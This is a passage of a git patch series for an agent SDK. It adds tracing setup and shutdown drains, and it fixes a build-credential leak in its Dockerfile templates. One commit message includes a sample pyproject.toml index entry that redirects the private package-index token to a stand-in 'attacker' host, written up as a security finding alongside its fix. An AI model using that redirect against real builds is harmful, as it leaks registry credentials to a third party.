never true on a + bare-uvicorn agent. So both correlation edges vanish while the traces + signal still reports itself wired. Measured: mode unset -> zero exported + spans and no ids either way; lgtm -> both edges, round trip closes.""" + monkeypatch.delenv("SGP_OBS_MODE", raising=False) + _fake_sgp_obs(monkeypatch, lambda **_kwargs: {"traces": object()}) + with caplog_at(monkeypatch) as records: + assert init_sgp_obs() == "wired:traces" + assert any("SGP_OBS_MODE" in r for r in records) + + def test_traces_with_lgtm_mode_is_quiet(self, monkeypatch, caplog): + monkeypatch.setenv("SGP_OBS_MODE", "lgtm") + _fake_sgp_obs(monkeypatch, lambda **_kwargs: {"traces": object()}) + with caplog.at_level("WARNING"): + assert init_sgp_obs() == "wired:traces" + assert caplog.records == [] + + def test_metrics_only_does_not_warn_about_the_mode(self, monkeypatch, caplog): + """The correlation edges are a traces concern. A metrics-only agent has no + business-span linking to lose, so the warning would be noise.""" + monkeypatch.delenv("SGP_OBS_MODE", raising=False) + _fake_sgp_obs(monkeypatch, lambda **_kwargs: {"metrics": object()}) + with caplog.at_level("WARNING"): + assert init_sgp_obs() == "wired:metrics" + assert caplog.records == [] + def test_all_three_signals_are_named_in_the_status(self, monkeypatch): _fake_sgp_obs( monkeypatch, From 777ca59031a6afb2102041209bb0c94e4da32a30 Mon Sep 17 00:00:00 2001 From: Sirui Wang Date: Fri, 11 Sep 2026 16:27:58 -0700 Subject: [PATCH 08/15] feat(obs): install the openai-agents bridge so Runner turns produce spans MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit The traces signal wired but produced nothing for the fleet's dominant agent shape. sgp_obs.init() installs most of the traces wiring itself; the openai-agents bridge is the one piece it does not. Measured on 0.16.0 after a plain init() with traces on: GenAI attempt span processor installed litellm logical adapter installed (_SgpObsLiteLLMLogger) httpx / aiohttp egress instrumented openai-agents bridge NOT installed That last one carries roughly 83% of model-calling agents, so without it a Runner turn contributes no logical model-operation spans and "traces on" looks like it does nothing at all. This is what the obs-test-* agents in agentex-agents#2183 each hand-roll: every one of the five ships an identical 114-line obs_bootstrap.py. Comparing that file against what init() already does, four of its five steps are redundant — the httpx and aiohttp instrumentors (init's _instrument_egress does them, and 0.16.0 deliberately reuses an already-instrumented one rather than warning), the attempt processor, and the litellm adapter. Only the bridge was load-bearing. With this change an adopting agent's bootstrap collapses to nothing, except the parts that are genuinely agent-specific: capture_turn's redaction allowlist, and its business span call sites. Installed unconditionally when traces are wired, because openai-agents is a hard dependency of this SDK, so `agents` is importable in every agent. The call is idempotent. A False return means `agents` was somehow not importable, which should be impossible here, so that warns rather than passing silently. Verified through the SDK's own entry point, not the library's: SDK init status: wired:metrics,traces attempt span processor : True openai-agents bridge : True litellm adapter : ['_SgpObsLiteLLMLogger'] 88 tests, ruff clean, pyright 0 errors, all with sgp-obs absent. Co-Authored-By: Claude Opus 5 --- .../lib/core/observability/sgp_obs_setup.py | 41 ++++++++++++ .../observability/tests/test_sgp_obs_setup.py | 65 ++++++++++++++++++- 2 files changed, 104 insertions(+), 2 deletions(-) diff --git a/src/agentex/lib/core/observability/sgp_obs_setup.py b/src/agentex/lib/core/observability/sgp_obs_setup.py index c75167ec6..3cab45cd0 100644 --- a/src/agentex/lib/core/observability/sgp_obs_setup.py +++ b/src/agentex/lib/core/observability/sgp_obs_setup.py @@ -141,6 +141,7 @@ def init_sgp_obs(app: Any = None) -> str: return _status if "traces" in handles: + _install_openai_agents_bridge() _warn_if_correlation_backend_mismatched() _status = "wired:" + ",".join(sorted(handles)) @@ -148,6 +149,46 @@ def init_sgp_obs(app: Any = None) -> str: return _status +def _install_openai_agents_bridge() -> bool: + """Register sgp-obs' openai-agents trace processor, so a ``Runner`` turn produces + logical model-operation spans. + + This is the one piece of traces wiring ``sgp_obs.init()`` does NOT do for itself. + Measured on 0.16.0 after a plain ``init()`` with the traces signal on: + + GenAI attempt span processor installed + litellm logical adapter installed + httpx / aiohttp egress instrumented + openai-agents bridge NOT installed + + which is why the obs-test agents each carry a hand-written bootstrap that calls it. + It matters more than the others here: roughly 83% of model-calling agents reach the + model through the openai-agents ``Runner``, so without this the dominant path + contributes no logical spans and "traces on" looks like it does nothing. + + Unconditional because ``openai-agents`` is a hard dependency of this SDK, so the + ``agents`` package is importable in every agent. The call is idempotent and returns + False rather than raising when the SDK is somehow absent. + """ + try: + from sgp_obs.traces import install_openai_agents_bridge # type: ignore[import-not-found] + + installed = bool(install_openai_agents_bridge()) + if installed: + logger.debug("sgp-obs openai-agents bridge installed") + else: + # Only reachable if `agents` is not importable, which should not happen + # while openai-agents is a hard dependency — so say so rather than shrug. + logger.warning( + "sgp-obs openai-agents bridge did not install; Runner turns will " + "produce no logical model-operation spans." + ) + return installed + except Exception: # pragma: no cover - telemetry must never break startup + logger.debug("sgp-obs openai-agents bridge unavailable", exc_info=True) + return False + + def _warn_if_correlation_backend_mismatched() -> None: """Warn when sgp-obs is exporting OTel traces but the SDK's business-span correlation is still reading ddtrace. diff --git a/src/agentex/lib/core/observability/tests/test_sgp_obs_setup.py b/src/agentex/lib/core/observability/tests/test_sgp_obs_setup.py index 61ea30647..14f8f42b3 100644 --- a/src/agentex/lib/core/observability/tests/test_sgp_obs_setup.py +++ b/src/agentex/lib/core/observability/tests/test_sgp_obs_setup.py @@ -52,13 +52,21 @@ def caplog_at(monkeypatch): yield records -def _fake_sgp_obs(monkeypatch, init=None, shutdown=None): - """Install a stand-in ``sgp_obs`` module whose entry points we control.""" +def _fake_sgp_obs(monkeypatch, init=None, shutdown=None, bridge=None): + """Install a stand-in ``sgp_obs`` module whose entry points we control. + + ``bridge`` stands in for ``sgp_obs.traces.install_openai_agents_bridge``; it lives + on a fake ``sgp_obs.traces`` submodule because that is how the SDK imports it. + """ module = type(sys)("sgp_obs") module.init = init if init is not None else (lambda **_kwargs: {"metrics": object()}) if shutdown is not None: module.shutdown = shutdown monkeypatch.setitem(sys.modules, "sgp_obs", module) + + traces = type(sys)("sgp_obs.traces") + traces.install_openai_agents_bridge = bridge if bridge is not None else (lambda: True) + monkeypatch.setitem(sys.modules, "sgp_obs.traces", traces) return module @@ -339,3 +347,56 @@ def test_the_json_rpc_route_is_still_mounted(self, monkeypatch): _block_sgp_obs_import(monkeypatch) routes = {getattr(r, "path", None) for r in BaseACPServer().routes} assert {"/healthz", "/api"} <= routes + + +class TestOpenAIAgentsBridge: + """sgp_obs.init() installs the GenAI attempt processor, the litellm adapter and the + egress instrumentors by itself, but NOT the openai-agents bridge (measured on + 0.16.0). That is the path ~83% of model-calling agents take, so the SDK installs it + — otherwise "traces on" produces no logical model-operation spans for most agents. + """ + + def test_installed_when_traces_are_wired(self, monkeypatch): + calls = [] + _fake_sgp_obs( + monkeypatch, + init=lambda **_kwargs: {"traces": object()}, + bridge=lambda: calls.append(True) or True, + ) + monkeypatch.setenv("SGP_OBS_MODE", "lgtm") + assert init_sgp_obs() == "wired:traces" + assert calls == [True] + + def test_not_installed_without_the_traces_signal(self, monkeypatch): + """A metrics-only agent has no span pipeline to feed, so installing an + openai-agents trace processor would be pointless work at startup.""" + calls = [] + _fake_sgp_obs( + monkeypatch, + init=lambda **_kwargs: {"metrics": object()}, + bridge=lambda: calls.append(True) or True, + ) + assert init_sgp_obs() == "wired:metrics" + assert calls == [] + + def test_a_bridge_that_declines_is_reported(self, monkeypatch, caplog): + """False means the `agents` SDK was not importable. openai-agents is a hard + dependency of this package, so that should be impossible — say so rather than + swallow it.""" + monkeypatch.setenv("SGP_OBS_MODE", "lgtm") + _fake_sgp_obs( + monkeypatch, init=lambda **_kwargs: {"traces": object()}, bridge=lambda: False + ) + with caplog.at_level("WARNING"): + assert init_sgp_obs() == "wired:traces" + assert "openai-agents bridge" in caplog.text + + def test_a_raising_bridge_does_not_stop_startup(self, monkeypatch): + def boom(): + raise RuntimeError("sgp-obs internals moved") + + monkeypatch.setenv("SGP_OBS_MODE", "lgtm") + _fake_sgp_obs( + monkeypatch, init=lambda **_kwargs: {"traces": object()}, bridge=boom + ) + assert init_sgp_obs() == "wired:traces" From 63ca57f0bc4ce63989df2927ee354e68b2f2822a Mon Sep 17 00:00:00 2001 From: Sirui Wang Date: Fri, 11 Sep 2026 16:31:33 -0700 Subject: [PATCH 09/15] fix(tracing): drain sync tracing processors on ACP shutdown MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit A sync ACP agent silently lost whatever business spans were still queued when the pod stopped. The lifespan drained `shutdown_default_span_queue`, which is the ASYNC path only; the sync tracing processors hold their own queue and nothing in the SDK ever shut them down. `get_sync_tracing_processors()` had exactly one caller — tracer.py, to CONSTRUCT a Trace — and no shutdown path at all. This is the same class of bug as the missing `sgp_obs.shutdown()` in the previous commit, and it compounds it from the other end. The business span is what an obs span's `agentex.business_trace_id` resolves to, so dropping it breaks the pivot from Tempo back to the SGP store — the backward edge points at a record that was never written. Found while working out what the obs-test-* agents in agentex-agents#2183 would still need after the SDK absorbs their bootstrap: each one carries a `sgp_flush_lifespan` that does exactly this, which is the tell that the SDK should have been doing it. Each processor is isolated — one that hangs or raises must not strand the spans held by the ones after it, and none of them may stop the pod shutting down. The last test pins the wiring rather than just the helper: a drain nothing calls is worthless, so it asserts the lifespan actually invokes both this and shutdown_sgp_obs. Co-Authored-By: Claude Opus 5 --- .../lib/sdk/fastacp/base/base_acp_server.py | 40 ++++++++++ .../lib/sdk/fastacp/base/tests/__init__.py | 0 .../fastacp/base/tests/test_shutdown_hooks.py | 73 +++++++++++++++++++ 3 files changed, 113 insertions(+) create mode 100644 src/agentex/lib/sdk/fastacp/base/tests/__init__.py create mode 100644 src/agentex/lib/sdk/fastacp/base/tests/test_shutdown_hooks.py diff --git a/src/agentex/lib/sdk/fastacp/base/base_acp_server.py b/src/agentex/lib/sdk/fastacp/base/base_acp_server.py index 0a5a036cc..35f79cbdc 100644 --- a/src/agentex/lib/sdk/fastacp/base/base_acp_server.py +++ b/src/agentex/lib/sdk/fastacp/base/base_acp_server.py @@ -119,6 +119,40 @@ async def __call__(self, scope: Scope, receive: Receive, send: Send) -> None: _detach_otel_context(otel_token) +def _shutdown_sync_tracing_processors() -> None: + """Drain the sync tracing processors' queues at shutdown. Never raises. + + ``shutdown_default_span_queue`` covers the async path only. The sync processors + keep their own queue and nothing in the SDK ever shut them down, so a sync ACP + agent dropped whatever business spans were still queued when the pod stopped. + That matters beyond the lost spans: the business span is what an obs span's + ``agentex.business_trace_id`` resolves to, so losing it breaks the pivot from + Tempo back to the SGP store. + + Each processor is isolated: one that hangs or raises must not stop the others, + and none of them may stop the pod from shutting down. + """ + try: + from agentex.lib.core.tracing.tracing_processor_manager import ( + get_sync_tracing_processors, + ) + + processors = get_sync_tracing_processors() + except Exception: # pragma: no cover - nothing to drain if this can't import + logger.debug("sync tracing processors unavailable at shutdown", exc_info=True) + return + + for processor in processors: + try: + processor.shutdown() + except Exception: # noqa: PERF203 - one bad processor must not block the rest + logger.warning( + "a sync tracing processor failed to flush on shutdown; " + "some business spans may be lost", + exc_info=True, + ) + + class BaseACPServer(FastAPI): """ AsyncAgentACP provides RPC-style hooks for agent events and commands asynchronously. @@ -191,6 +225,11 @@ async def lifespan_context(app: FastAPI): # noqa: ARG001 yield finally: await shutdown_default_span_queue() + # The queue above is the ASYNC path only. Sync tracing processors + # hold their own queue and nothing ever drained it, so a sync ACP + # agent lost whatever business spans were still queued when the pod + # stopped — including the ones the obs correlation points at. + _shutdown_sync_tracing_processors() # Flush whatever sgp-obs still holds. A periodic exporter's buffer # is otherwise dropped when the pod stops, which for a short-lived # or scaled-to-zero agent can be most of what it recorded. No-op @@ -199,6 +238,7 @@ async def lifespan_context(app: FastAPI): # noqa: ARG001 return lifespan_context + async def _healthz(self): """Health check endpoint""" result = {"status": "healthy"} diff --git a/src/agentex/lib/sdk/fastacp/base/tests/__init__.py b/src/agentex/lib/sdk/fastacp/base/tests/__init__.py new file mode 100644 index 000000000..e69de29bb diff --git a/src/agentex/lib/sdk/fastacp/base/tests/test_shutdown_hooks.py b/src/agentex/lib/sdk/fastacp/base/tests/test_shutdown_hooks.py new file mode 100644 index 000000000..6aaea600f --- /dev/null +++ b/src/agentex/lib/sdk/fastacp/base/tests/test_shutdown_hooks.py @@ -0,0 +1,73 @@ +"""Tests for the ACP lifespan's shutdown drains. + +``shutdown_default_span_queue`` covers the async span path. The SYNC tracing +processors keep their own queue, and nothing in the SDK ever shut them down, so a +sync ACP agent dropped whatever business spans were still queued when the pod +stopped. That is worse than the spans themselves: the business span is what an obs +span's ``agentex.business_trace_id`` resolves to, so losing it breaks the pivot from +Tempo back to the SGP store. +""" + +from __future__ import annotations + +from agentex.lib.sdk.fastacp.base import base_acp_server +from agentex.lib.sdk.fastacp.base.base_acp_server import _shutdown_sync_tracing_processors + + +class _Processor: + def __init__(self, explode: bool = False) -> None: + self.calls = 0 + self._explode = explode + + def shutdown(self) -> None: + self.calls += 1 + if self._explode: + raise RuntimeError("flush timed out") + + +def _patch_processors(monkeypatch, processors): + import agentex.lib.core.tracing.tracing_processor_manager as mgr + + monkeypatch.setattr(mgr, "get_sync_tracing_processors", lambda: processors) + + +class TestSyncProcessorDrain: + def test_every_processor_is_flushed(self, monkeypatch): + a, b = _Processor(), _Processor() + _patch_processors(monkeypatch, [a, b]) + _shutdown_sync_tracing_processors() + assert (a.calls, b.calls) == (1, 1) + + def test_one_failure_does_not_stop_the_others(self, monkeypatch): + """A processor that hangs or raises must not strand the spans held by the + ones after it in the list.""" + bad, good = _Processor(explode=True), _Processor() + _patch_processors(monkeypatch, [bad, good]) + _shutdown_sync_tracing_processors() + assert good.calls == 1 + + def test_no_processors_is_a_no_op(self, monkeypatch): + _patch_processors(monkeypatch, []) + _shutdown_sync_tracing_processors() # must not raise + + def test_an_unimportable_manager_does_not_fail_shutdown(self, monkeypatch): + """Nothing here may stop the pod from shutting down.""" + import builtins + + real_import = builtins.__import__ + + def blocked(name, *args, **kwargs): + if "tracing_processor_manager" in name: + raise ImportError("boom") + return real_import(name, *args, **kwargs) + + monkeypatch.setattr(builtins, "__import__", blocked) + _shutdown_sync_tracing_processors() # must not raise + + def test_the_lifespan_calls_it(self): + """Pin the wiring, not just the helper: a drain nothing calls is worthless.""" + import inspect + + source = inspect.getsource(base_acp_server.BaseACPServer.get_lifespan_function) + assert "_shutdown_sync_tracing_processors()" in source + assert "shutdown_sgp_obs()" in source From c0d5fab51ee47c9de8260d3c0ae654029a7d304c Mon Sep 17 00:00:00 2001 From: Sirui Wang Date: Fri, 11 Sep 2026 17:05:03 -0700 Subject: [PATCH 10/15] fix(obs): pin the brokered index URL, and read positionally-passed models MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Addresses both Greptile findings on #518. Both were real; the first is a genuine credential-exfiltration path and I confirmed it is exploitable before fixing it. 1. Credential could be redirected by project config (P1, security) uv binds index credentials by index NAME, and the name -> URL mapping came from the agent's own pyproject.toml. So a project that declared [[tool.uv.index]] name = "scale-pypi" url = "http://attacker/simple/" received the broker's CodeArtifact token. Reproduced against a local server: the rogue host receives `Authorization: Basic aws:` and the real CodeArtifact host is never contacted. The mitigating factor is that whoever writes pyproject.toml usually also writes the Dockerfile, and could just read the mounted secret directly — but that is not the interesting case. The interesting case is a contributed change to a project file: a one-line URL edit in pyproject.toml is far less conspicuous in review than adding an exfiltration command to a Dockerfile. Fixed by exporting UV_INDEX to re-bind `scale-pypi` to the URL the BROKER supplied, taken from the injected pip config, which overrides whatever the project declared for that name. Verified both directions against the same local server: without UV_INDEX the rogue host gets the credential; with it the rogue host is never contacted and only the trusted host is. The pinned URL carries no userinfo — the token still travels only in UV_INDEX_SCALE_PYPI_PASSWORD, percent-decoded as before. Applied to all 19 Dockerfile-uv.j2 templates (38 export blocks). The requirements.txt variant was never affected: it has no named index, and takes the credentialed URL straight from the broker's pip config. 2. A positionally-passed model lost its metric (P2) `litellm.acompletion` takes `model` as its first positional argument and the gateway forwards *args untouched, so `gateway.acompletion("anthropic/claude-sonnet-4", msgs)` is legal — and `inference_call` read only kwargs. The consequence is worse than a mislabeled vendor. An empty model resolves to the default vendor "openai", which sets transport=OPENAI, which makes call() stand down in deference to the OpenAI client instrumentor — while litellm routes natively to Anthropic and never touches that client. Nothing records the call and nothing says so. New `resolve_model(args, kwargs)` reads the keyword first, then args[0], and ignores a non-string first argument since *args is forwarded verbatim. Both gateway call sites pass args through. Tested including the regression itself: a positional Anthropic model now yields provider="anthropic" and an empty transport, i.e. recorded here because nothing else will. Also fixed a stale docstring reference to a `_transport_for` function that does not exist; the logic lives in `_split_model`. 99 tests, ruff clean, pyright 0 errors, all with sgp-obs absent. All 38 templates still render as jinja and all 138 RUN bodies still pass `sh -n`. Co-Authored-By: Claude Opus 5 --- .../default-claude-code/Dockerfile-uv.j2 | 11 ++++ .../templates/default-codex/Dockerfile-uv.j2 | 11 ++++ .../default-langgraph/Dockerfile-uv.j2 | 11 ++++ .../default-openai-agents/Dockerfile-uv.j2 | 11 ++++ .../default-pydantic-ai/Dockerfile-uv.j2 | 11 ++++ .../cli/templates/default/Dockerfile-uv.j2 | 11 ++++ .../sync-claude-code/Dockerfile-uv.j2 | 11 ++++ .../cli/templates/sync-codex/Dockerfile-uv.j2 | 11 ++++ .../templates/sync-langgraph/Dockerfile-uv.j2 | 11 ++++ .../Dockerfile-uv.j2 | 11 ++++ .../sync-openai-agents/Dockerfile-uv.j2 | 11 ++++ .../sync-pydantic-ai/Dockerfile-uv.j2 | 11 ++++ .../lib/cli/templates/sync/Dockerfile-uv.j2 | 11 ++++ .../temporal-claude-code/Dockerfile-uv.j2 | 11 ++++ .../templates/temporal-codex/Dockerfile-uv.j2 | 11 ++++ .../temporal-langgraph/Dockerfile-uv.j2 | 11 ++++ .../temporal-openai-agents/Dockerfile-uv.j2 | 11 ++++ .../temporal-pydantic-ai/Dockerfile-uv.j2 | 11 ++++ .../cli/templates/temporal/Dockerfile-uv.j2 | 11 ++++ .../lib/core/adapters/llm/_genai_metrics.py | 31 ++++++++-- .../lib/core/adapters/llm/adapter_litellm.py | 4 +- .../adapters/llm/tests/test_genai_metrics.py | 61 ++++++++++++++++++- 22 files changed, 297 insertions(+), 8 deletions(-) diff --git a/src/agentex/lib/cli/templates/default-claude-code/Dockerfile-uv.j2 b/src/agentex/lib/cli/templates/default-claude-code/Dockerfile-uv.j2 index 36d2cd787..16fcfa13a 100644 --- a/src/agentex/lib/cli/templates/default-claude-code/Dockerfile-uv.j2 +++ b/src/agentex/lib/cli/templates/default-claude-code/Dockerfile-uv.j2 @@ -48,11 +48,21 @@ COPY {{ project_path_from_build_root }}/pyproject.toml ./ # url = "" # default = true # +# UV_INDEX re-binds that name to the URL the BROKER supplied, overriding whatever URL +# the project declared for it. Without this the credential follows the name wherever +# pyproject.toml points it: uv sends the token to any host declared under the name +# `scale-pypi`, so a one-line edit to a project file — far less conspicuous in review +# than a change to this Dockerfile — would exfiltrate it. Verified both ways against a +# local server: without UV_INDEX the rogue host receives `Basic aws:`; with it +# the rogue host is never contacted. The URL carries no userinfo; the token travels +# only in UV_INDEX_SCALE_PYPI_PASSWORD. +# # The token is percent-decoded on the way out: the buildspec URL-encodes it into the # pip config's URL userinfo, so a token containing + / = arrives as %2B %2F %3D. RUN --mount=type=cache,target=/root/.cache/uv \ --mount=type=secret,id=codeartifact-pip-conf,required=false \ if [ -s /run/secrets/codeartifact-pip-conf ]; then \ + export UV_INDEX="scale-pypi=$(sed -n 's#.*index-url = https://aws:[^@]*@\(.*\)#https://\1#p' /run/secrets/codeartifact-pip-conf | head -1)"; \ export UV_INDEX_SCALE_PYPI_USERNAME=aws; \ export UV_INDEX_SCALE_PYPI_PASSWORD="$(sed -n 's#.*index-url = https://aws:\([^@]*\)@.*#\1#p' /run/secrets/codeartifact-pip-conf \ | python3 -c 'import sys,urllib.parse;print(urllib.parse.unquote(sys.stdin.read().strip()))')"; \ @@ -66,6 +76,7 @@ COPY {{ project_path_from_build_root }}/project ./project RUN --mount=type=cache,target=/root/.cache/uv \ --mount=type=secret,id=codeartifact-pip-conf,required=false \ if [ -s /run/secrets/codeartifact-pip-conf ]; then \ + export UV_INDEX="scale-pypi=$(sed -n 's#.*index-url = https://aws:[^@]*@\(.*\)#https://\1#p' /run/secrets/codeartifact-pip-conf | head -1)"; \ export UV_INDEX_SCALE_PYPI_USERNAME=aws; \ export UV_INDEX_SCALE_PYPI_PASSWORD="$(sed -n 's#.*index-url = https://aws:\([^@]*\)@.*#\1#p' /run/secrets/codeartifact-pip-conf \ | python3 -c 'import sys,urllib.parse;print(urllib.parse.unquote(sys.stdin.read().strip()))')"; \ diff --git a/src/agentex/lib/cli/templates/default-codex/Dockerfile-uv.j2 b/src/agentex/lib/cli/templates/default-codex/Dockerfile-uv.j2 index d926486ca..8b6adeab3 100644 --- a/src/agentex/lib/cli/templates/default-codex/Dockerfile-uv.j2 +++ b/src/agentex/lib/cli/templates/default-codex/Dockerfile-uv.j2 @@ -48,11 +48,21 @@ COPY {{ project_path_from_build_root }}/pyproject.toml ./ # url = "" # default = true # +# UV_INDEX re-binds that name to the URL the BROKER supplied, overriding whatever URL +# the project declared for it. Without this the credential follows the name wherever +# pyproject.toml points it: uv sends the token to any host declared under the name +# `scale-pypi`, so a one-line edit to a project file — far less conspicuous in review +# than a change to this Dockerfile — would exfiltrate it. Verified both ways against a +# local server: without UV_INDEX the rogue host receives `Basic aws:`; with it +# the rogue host is never contacted. The URL carries no userinfo; the token travels +# only in UV_INDEX_SCALE_PYPI_PASSWORD. +# # The token is percent-decoded on the way out: the buildspec URL-encodes it into the # pip config's URL userinfo, so a token containing + / = arrives as %2B %2F %3D. RUN --mount=type=cache,target=/root/.cache/uv \ --mount=type=secret,id=codeartifact-pip-conf,required=false \ if [ -s /run/secrets/codeartifact-pip-conf ]; then \ + export UV_INDEX="scale-pypi=$(sed -n 's#.*index-url = https://aws:[^@]*@\(.*\)#https://\1#p' /run/secrets/codeartifact-pip-conf | head -1)"; \ export UV_INDEX_SCALE_PYPI_USERNAME=aws; \ export UV_INDEX_SCALE_PYPI_PASSWORD="$(sed -n 's#.*index-url = https://aws:\([^@]*\)@.*#\1#p' /run/secrets/codeartifact-pip-conf \ | python3 -c 'import sys,urllib.parse;print(urllib.parse.unquote(sys.stdin.read().strip()))')"; \ @@ -66,6 +76,7 @@ COPY {{ project_path_from_build_root }}/project ./project RUN --mount=type=cache,target=/root/.cache/uv \ --mount=type=secret,id=codeartifact-pip-conf,required=false \ if [ -s /run/secrets/codeartifact-pip-conf ]; then \ + export UV_INDEX="scale-pypi=$(sed -n 's#.*index-url = https://aws:[^@]*@\(.*\)#https://\1#p' /run/secrets/codeartifact-pip-conf | head -1)"; \ export UV_INDEX_SCALE_PYPI_USERNAME=aws; \ export UV_INDEX_SCALE_PYPI_PASSWORD="$(sed -n 's#.*index-url = https://aws:\([^@]*\)@.*#\1#p' /run/secrets/codeartifact-pip-conf \ | python3 -c 'import sys,urllib.parse;print(urllib.parse.unquote(sys.stdin.read().strip()))')"; \ diff --git a/src/agentex/lib/cli/templates/default-langgraph/Dockerfile-uv.j2 b/src/agentex/lib/cli/templates/default-langgraph/Dockerfile-uv.j2 index 081e0d563..541438ed9 100644 --- a/src/agentex/lib/cli/templates/default-langgraph/Dockerfile-uv.j2 +++ b/src/agentex/lib/cli/templates/default-langgraph/Dockerfile-uv.j2 @@ -44,11 +44,21 @@ COPY {{ project_path_from_build_root }}/pyproject.toml ./ # url = "" # default = true # +# UV_INDEX re-binds that name to the URL the BROKER supplied, overriding whatever URL +# the project declared for it. Without this the credential follows the name wherever +# pyproject.toml points it: uv sends the token to any host declared under the name +# `scale-pypi`, so a one-line edit to a project file — far less conspicuous in review +# than a change to this Dockerfile — would exfiltrate it. Verified both ways against a +# local server: without UV_INDEX the rogue host receives `Basic aws:`; with it +# the rogue host is never contacted. The URL carries no userinfo; the token travels +# only in UV_INDEX_SCALE_PYPI_PASSWORD. +# # The token is percent-decoded on the way out: the buildspec URL-encodes it into the # pip config's URL userinfo, so a token containing + / = arrives as %2B %2F %3D. RUN --mount=type=cache,target=/root/.cache/uv \ --mount=type=secret,id=codeartifact-pip-conf,required=false \ if [ -s /run/secrets/codeartifact-pip-conf ]; then \ + export UV_INDEX="scale-pypi=$(sed -n 's#.*index-url = https://aws:[^@]*@\(.*\)#https://\1#p' /run/secrets/codeartifact-pip-conf | head -1)"; \ export UV_INDEX_SCALE_PYPI_USERNAME=aws; \ export UV_INDEX_SCALE_PYPI_PASSWORD="$(sed -n 's#.*index-url = https://aws:\([^@]*\)@.*#\1#p' /run/secrets/codeartifact-pip-conf \ | python3 -c 'import sys,urllib.parse;print(urllib.parse.unquote(sys.stdin.read().strip()))')"; \ @@ -62,6 +72,7 @@ COPY {{ project_path_from_build_root }}/project ./project RUN --mount=type=cache,target=/root/.cache/uv \ --mount=type=secret,id=codeartifact-pip-conf,required=false \ if [ -s /run/secrets/codeartifact-pip-conf ]; then \ + export UV_INDEX="scale-pypi=$(sed -n 's#.*index-url = https://aws:[^@]*@\(.*\)#https://\1#p' /run/secrets/codeartifact-pip-conf | head -1)"; \ export UV_INDEX_SCALE_PYPI_USERNAME=aws; \ export UV_INDEX_SCALE_PYPI_PASSWORD="$(sed -n 's#.*index-url = https://aws:\([^@]*\)@.*#\1#p' /run/secrets/codeartifact-pip-conf \ | python3 -c 'import sys,urllib.parse;print(urllib.parse.unquote(sys.stdin.read().strip()))')"; \ diff --git a/src/agentex/lib/cli/templates/default-openai-agents/Dockerfile-uv.j2 b/src/agentex/lib/cli/templates/default-openai-agents/Dockerfile-uv.j2 index 081e0d563..541438ed9 100644 --- a/src/agentex/lib/cli/templates/default-openai-agents/Dockerfile-uv.j2 +++ b/src/agentex/lib/cli/templates/default-openai-agents/Dockerfile-uv.j2 @@ -44,11 +44,21 @@ COPY {{ project_path_from_build_root }}/pyproject.toml ./ # url = "" # default = true # +# UV_INDEX re-binds that name to the URL the BROKER supplied, overriding whatever URL +# the project declared for it. Without this the credential follows the name wherever +# pyproject.toml points it: uv sends the token to any host declared under the name +# `scale-pypi`, so a one-line edit to a project file — far less conspicuous in review +# than a change to this Dockerfile — would exfiltrate it. Verified both ways against a +# local server: without UV_INDEX the rogue host receives `Basic aws:`; with it +# the rogue host is never contacted. The URL carries no userinfo; the token travels +# only in UV_INDEX_SCALE_PYPI_PASSWORD. +# # The token is percent-decoded on the way out: the buildspec URL-encodes it into the # pip config's URL userinfo, so a token containing + / = arrives as %2B %2F %3D. RUN --mount=type=cache,target=/root/.cache/uv \ --mount=type=secret,id=codeartifact-pip-conf,required=false \ if [ -s /run/secrets/codeartifact-pip-conf ]; then \ + export UV_INDEX="scale-pypi=$(sed -n 's#.*index-url = https://aws:[^@]*@\(.*\)#https://\1#p' /run/secrets/codeartifact-pip-conf | head -1)"; \ export UV_INDEX_SCALE_PYPI_USERNAME=aws; \ export UV_INDEX_SCALE_PYPI_PASSWORD="$(sed -n 's#.*index-url = https://aws:\([^@]*\)@.*#\1#p' /run/secrets/codeartifact-pip-conf \ | python3 -c 'import sys,urllib.parse;print(urllib.parse.unquote(sys.stdin.read().strip()))')"; \ @@ -62,6 +72,7 @@ COPY {{ project_path_from_build_root }}/project ./project RUN --mount=type=cache,target=/root/.cache/uv \ --mount=type=secret,id=codeartifact-pip-conf,required=false \ if [ -s /run/secrets/codeartifact-pip-conf ]; then \ + export UV_INDEX="scale-pypi=$(sed -n 's#.*index-url = https://aws:[^@]*@\(.*\)#https://\1#p' /run/secrets/codeartifact-pip-conf | head -1)"; \ export UV_INDEX_SCALE_PYPI_USERNAME=aws; \ export UV_INDEX_SCALE_PYPI_PASSWORD="$(sed -n 's#.*index-url = https://aws:\([^@]*\)@.*#\1#p' /run/secrets/codeartifact-pip-conf \ | python3 -c 'import sys,urllib.parse;print(urllib.parse.unquote(sys.stdin.read().strip()))')"; \ diff --git a/src/agentex/lib/cli/templates/default-pydantic-ai/Dockerfile-uv.j2 b/src/agentex/lib/cli/templates/default-pydantic-ai/Dockerfile-uv.j2 index 081e0d563..541438ed9 100644 --- a/src/agentex/lib/cli/templates/default-pydantic-ai/Dockerfile-uv.j2 +++ b/src/agentex/lib/cli/templates/default-pydantic-ai/Dockerfile-uv.j2 @@ -44,11 +44,21 @@ COPY {{ project_path_from_build_root }}/pyproject.toml ./ # url = "" # default = true # +# UV_INDEX re-binds that name to the URL the BROKER supplied, overriding whatever URL +# the project declared for it. Without this the credential follows the name wherever +# pyproject.toml points it: uv sends the token to any host declared under the name +# `scale-pypi`, so a one-line edit to a project file — far less conspicuous in review +# than a change to this Dockerfile — would exfiltrate it. Verified both ways against a +# local server: without UV_INDEX the rogue host receives `Basic aws:`; with it +# the rogue host is never contacted. The URL carries no userinfo; the token travels +# only in UV_INDEX_SCALE_PYPI_PASSWORD. +# # The token is percent-decoded on the way out: the buildspec URL-encodes it into the # pip config's URL userinfo, so a token containing + / = arrives as %2B %2F %3D. RUN --mount=type=cache,target=/root/.cache/uv \ --mount=type=secret,id=codeartifact-pip-conf,required=false \ if [ -s /run/secrets/codeartifact-pip-conf ]; then \ + export UV_INDEX="scale-pypi=$(sed -n 's#.*index-url = https://aws:[^@]*@\(.*\)#https://\1#p' /run/secrets/codeartifact-pip-conf | head -1)"; \ export UV_INDEX_SCALE_PYPI_USERNAME=aws; \ export UV_INDEX_SCALE_PYPI_PASSWORD="$(sed -n 's#.*index-url = https://aws:\([^@]*\)@.*#\1#p' /run/secrets/codeartifact-pip-conf \ | python3 -c 'import sys,urllib.parse;print(urllib.parse.unquote(sys.stdin.read().strip()))')"; \ @@ -62,6 +72,7 @@ COPY {{ project_path_from_build_root 